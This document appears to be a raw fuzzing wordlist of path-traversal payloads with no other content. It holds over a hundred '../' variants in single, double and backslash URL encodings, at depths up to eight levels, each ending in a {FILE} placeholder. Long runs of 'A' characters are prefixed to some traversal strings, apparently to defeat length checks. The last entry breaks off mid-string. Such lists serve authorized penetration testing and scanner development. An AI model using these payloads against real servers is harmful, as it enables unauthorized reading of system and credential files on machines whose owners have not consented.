%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA